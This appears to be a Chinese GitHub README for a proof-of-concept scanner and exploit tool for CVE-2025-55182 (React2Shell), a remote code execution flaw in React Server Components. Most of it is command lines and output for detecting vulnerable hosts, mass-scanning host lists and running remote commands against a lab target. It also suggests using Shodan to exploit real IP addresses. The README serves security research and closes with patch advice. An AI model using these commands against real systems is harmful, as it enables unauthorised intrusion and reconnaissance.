litndat/React2Shell-PoC-CVE-2025-55182

GitHub: litndat/React2Shell-PoC-CVE-2025-55182

CVE-2025-55182(React2Shell)漏洞的利用验证工具,用于检测和复现 React Server Components 的严重远程代码执行漏洞。

Stars: 0 | Forks: 0

# React2Shell 漏洞利用模拟 (CVE-2025-55182) ### 注意事项: - 本文档仅供安全学习与研究目的使用。 - 未经授权,请勿用于攻击任何系统。 ## 1. 概述 CVE-2025-55182,又称 React2Shell,是一个影响 React Server Components (RSC) 的严重远程代码执行 (RCE) 漏洞。它使用 Flight 协议在客户端和服务器之间进行通信。当客户端请求数据时,服务器会接收并解析一个 payload,这使得攻击者可以插入恶意结构或任何被 React 视为有效的任意代码。 | 项目 | 内容 | |-----|---------| | 严重程度 | Critical (CVSS 10.0) | | 类型 | Unsafe Deserialization (CWE-502) | | 攻击方式 | Remote, no authentication required | | 受影响版本: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 及 Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 | ## 2. 原因分析 服务器在处理来自客户端的 payload 时未进行充分验证,使得攻击者能够: - 注入恶意 payload - 在服务器上执行代码 - 因其属于身份验证前的漏洞,故可在无需用户身份验证的情况下被利用。 自 2025 年 12 月 5 日起,已发现有针对该漏洞的实际利用活动。大多数成功的利用皆源自各类攻击团队的评估行为。Windows 和 Linux 环境均受影响。 ## 3. 实践演练 安装 ``` pip install -r requirements.txt ``` 扫描存在漏洞 (vulnerable) 的服务器: ``` python3 scanner.py -u https://example.com ``` 输入要扫描的路径(此处我输入了自己的受漏洞环境地址 ``http://192.168.10.1:3000``) image 获得的结果: image ``` ╰─ python3 scanner.py -u http://192.168.10.1:3000 brought to you by assetnote [*] Loaded 1 host(s) to scan [*] Using 10 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled [VULNERABLE] http://192.168.10.1:3000 - Status: 303 ``` #### 此外,您还可以根据自己的利用目的进行更多扫描: 扫描服务器列表: ``` python3 scanner.py -l hosts.txt ``` 多线程扫描并保存结果: ``` python3 scanner.py -l hosts.txt -t 20 -o results.json ``` 使用自定义 Header (标头) 扫描: ``` python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc" ``` 针对 Windows 目标的扫描: ``` python3 scanner.py -u https://example.com --windows ``` 使用安全副信道检测方法: ``` python3 scanner.py -u https://example.com --safe-check ``` image 如您所见,我们正面临一个安全漏洞,这意味着我们提供的服务器很容易受到攻击者的攻击。 ### Nuclei 现在我们将使用 Nuclei 来检查该服务器是否存在带有 POC 的漏洞。此功能通过发送自定义请求来工作,旨在减少误报 (false positive) 并支持并行扫描。 ``` nuclei -t scan.yaml -u http://192.168.10.1:3000 ``` 获得的结果 ``` [INF] Current nuclei version: v3.7.1 (latest) [INF] Current nuclei-templates version: v10.4.0 (latest) [INF] New templates added in latest release: 94 [INF] Templates loaded for current scan: 1 [INF] Executing 1 signed templates from projectdiscovery/nuclei-templates [INF] Targets loaded for current scan: 1 [CVE-2025-55182] [http] [critical] http://192.168.10.1:3000 [INF] Scan completed in 431.97876ms. 1 matches found. ``` image 系统已检测出该服务器存在漏洞,并且可能会被 CVE-2025-55182 漏洞利用。由此可见,这是一个相当危险且重要的漏洞,社交平台上已有大量的 POC 公开。 ☺☺☺ ## 4. 漏洞利用方法 您可以看到,仅凭这些信息就足以确认上述应用程序中存在安全漏洞。为了证明该应用程序可被用于运行命令或执行远程代码,我将开始进行 PoC。 ``` chmod +x scanner.sh ``` #### 使用方法 ``` # 检查对方是否存在 vulnerable ./datscan.sh -d example.com # 执行命令检查当前 user ./datscan.sh -d example.com -c "whoami" # 使用完整 URL ./datscan.sh -d example.com -c "uname -a" ``` image 含义说明: 返回当前运行服务器进程的用户 帮助确定: - 应用程序在哪个用户权限下运行 - 权限级别(是低权限还是管理员) => 这是确认 RCE 成功执行的最基本命令 ## 注意事项 - `-d, --domain` - domain/URL - `-c, --command` - 要执行的命令(例如:`whoami, hostname,...`) ## 示例 ``` # 检查机器名称 ./datscan.sh -d http://192.168.10.1:3000/ -c hostname # 识别操作系统版本 ./datscan.sh -d http://192.168.10.1:3000/ -c ver # 检查 command execution 是否稳定运行 ./datscan.sh -c "echo test" ./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%" ./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%" ``` | 执行命令的含义 | 内容 | |-----|---------| | 返回主机名 (host name) | 用途:
- 确定受影响的系统身份
- 为内部环境中的横向移动 (lateral movement) 提供支持 | | 确定操作系统版本 | 非常重要:
-评估后续提权 (privilege escalation) 的可能性
- 选择合适的 exploit | | 检查命令执行 | 用于调试 payload / scanner | | 返回当前用户名 | 在此场景下:
-用户为 ADMIN → 可能具有高权限
- 在某些 Windows 案例中比 whoami 更为关键 | | 返回机器名 | 通过环境变量返回机器名 | #### 执行后的演示截图 image 这是漏洞利用成功后的初始侦察阶段。 ``它帮助我们确认:RCE 已生效、识别操作系统类型等...`` ## 警告 由于本次实验是我在个人实验环境中进行的演示,为了避免触犯法律,使用 HTTP 标头提取数据时,大量输出或特殊字符可能会导致: - `ERR_INVALID_CHAR` - Response 被截断 - 超时 (Timeouts) image 在测试环境中,使用较短的命令(例如:`whoami`、`ver`)能更可靠地进行演示。 如果您不喜欢这种方式,可以使用 Shodan 直接检查真实环境中的 IP 地址,并像我上面的实验那样进行漏洞利用(不推荐)。 image 如上文注意事项中所述。此工具仅供教育和经过授权的安全测试使用。请勿使用此工具对您不拥有或未获授权测试的系统进行扫描。 ## 5. 漏洞修复建议 - 切勿信任来自客户端的数据 - 严格进行输入验证 (Validate input) - 更新至安全版本 - React: >= 19.0.1 / 19.1.2 / 19.2.1 - Next.js: >= 15.0.5 / 16.0.7 ## 6. 延伸阅读 * CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182 * CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
标签:Go语言工具, Python, 不安全反序列化, 应用安全, 无后门, 编程工具, 远程代码执行, 逆向工具